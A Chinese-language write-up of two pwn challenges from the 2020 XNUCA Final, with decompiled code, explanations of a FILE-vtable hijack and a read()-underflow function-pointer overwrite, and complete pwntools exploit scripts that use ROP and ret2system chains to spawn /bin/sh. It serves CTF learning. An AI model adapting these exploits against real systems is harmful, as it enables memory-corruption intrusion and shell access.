2020 XNUCA Final 个人赛 PWN WriteUp

 

pwn1

首先看一下程序,程序提供了一个打开和读取文件的功能,首先是输入了一个任意长度的name,然后进入main函数

int __usercall hello@<eax>(int a1@<ebp>)
{
  int v2; // [esp-4h] [ebp-4h]

  __asm { endbr32 }
  v2 = a1;
  puts("welcome to baby xnuca2020~");
  puts("I want to know your name");
  _isoc99_scanf("%s", you);
  return printf("Hello %s, I have kept you in mind\n", (unsigned int)you);
}
unsigned int __usercall menu@<eax>(int a1@<ebp>)
{
  int v2; // [esp-24h] [ebp-24h]
  int v3; // [esp-20h] [ebp-20h]
  unsigned int v4; // [esp-10h] [ebp-10h]
  int v5; // [esp-4h] [ebp-4h]

  __asm { endbr32 }
  v5 = a1;
  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.Read a file");
      puts("2.Print a file");
      puts("3.Exit");
      puts("> ");
      _isoc99_scanf("%s", &v3);
      v2 = atoi(&v3);
      if ( v2 != 2 )
        break;
      xPrint((int)&v5);
    }
    if ( v2 == 3 )
      break;
    if ( v2 == 1 )
      xRead();
    else
      puts("Invalid choise");
  }
  if ( you[8] )
    fclose(you[8]);
  return __readgsdword(0x14u) ^ v4;
}

注意到我们在输入name的时候可以直接覆写you[8]也就是FILE指针,由于程序是静态编译的32位,因此这里我们可以直接覆写vtable,利用fclose劫持控制流。但是程序中不存在后门函数,但是存在一个garbage函数,该函数可以直接造成栈溢出,执行rop

在找gadget的时候需要注意scanfexp如下

# encoding=utf-8
from pwn import *

file_path = "./pwn1"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x0804A1DA\n b *0x0804A0F1")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0


fake_io_address = 0x08104CE4
garbage_address = 0x0804A0C0
bin_sh_address = 0x08104CC0


fake_io = p32(0xffffdfff)
fake_io += b"\x00"*0x90
fake_io += p32(fake_io_address + 0x90)
fake_io += p32(garbage_address)

payload = b"/bin/sh\x00".ljust(0x20, b"\x00")
payload += p32(fake_io_address) + fake_io

p.sendlineafter("your name\n", payload)

p.sendlineafter("> ", "3")

p_eax_r = 0x080cb04a
p_eax_xx_r = 0x08066038 # pop eax; pop edx; pop ebx; ret;
inc_eax_r = 0x0808f26e
p_ebx_r = 0x08049022
syscall = 0x0807216d
xor_ecx = 0x0804ab3f # xor ecx, ecx; int 0x80;
payload = b"a"*0x20
payload += p32(p_eax_xx_r) + p32(8) + p32(0) + p32(bin_sh_address)
payload += p32(inc_eax_r) * 3 + p32(xor_ecx)
p.sendline(payload)

p.interactive()

 

pwn2

是个read函数越界的问题,漏洞位于XRead函数中

v2 = get_num();
if ( v2 < 0 )
{
  puts("error");
  exit(0);
}
puts("Digest: ");
do
{
  if ( v1 >= v2 )
    break;
  v1 += read(0, (char *)&you[0x42] + v1, v2 - v1);
}
while ( *((_BYTE *)&you[65] + v1 + 3) != 10 );

用户首先输入长度,然后函数根据用户输入的长度向bss段中读取数据。但是需要注意的是,这里的长度并没有做任何的限制,而bss段的长度是有限的。

0x8048000  0x8049000 r--p     1000 0      /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x8049000  0x804a000 r-xp     1000 1000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x804a000  0x804b000 r--p     1000 2000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2
0x804b000  0x804c000 r--p     1000 2000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2 // << bss_end
0x804c000  0x804d000 rw-p     1000 3000   /root/work/2020XNUCA决赛/个人赛/pwn2/pwn2

在动态链接的read函数中如果用户的输入超过了边界,并且边界之后不可写,那么read就会返回-1,那么就会变为v1+=-1,也就是会造成上溢出。

那么我们设置长度为bss_end-&you[0x42] + 4,也就是多输入4个字节,那么我们输入的内容就会覆写you[0x41]位置处的函数指针。将其覆写为garbage函数的地址,就可以利用该函数内部的栈溢出了。

# encoding=utf-8
from pwn import *

file_path = "pwn2"
context.arch = "i386"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x08049650")
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0


def readfile(path, size, content):
    p.sendlineafter("> \n", "1")
    p.sendlineafter("file path: ", path)
    p.sendlineafter("Digest length: ", str(size))
    p.sendafter("Digest: ", content)


p.sendlineafter("your name again", "a\n")
p.recvuntil("present to you.\n")
calloc_address = int(p.recvline().strip(b"\n")[2:], 16)
libc.address = calloc_address - libc.sym['calloc']
log.success("calloc address is {}".format(hex(calloc_address)))
log.success("libc address is {}".format(hex(libc.address)))
system_address = libc.sym['system']
bin_sh_address = libc.search(b"/bin/sh").__next__()
exit_address = libc.sym['exit']

length = 0xe78+0x4
garbage = 0x0804970F
readfile("./flag", length, p32(garbage) + b"a"*(length - 0x5) + b"\n")

p.sendlineafter("> \n", "3")

payload = b"a"*0x1c + p32(0xdeadbeef)
payload += p32(system_address) + p32(exit_address) + p32(bin_sh_address)
p.sendline(payload)

p.interactive()
(完)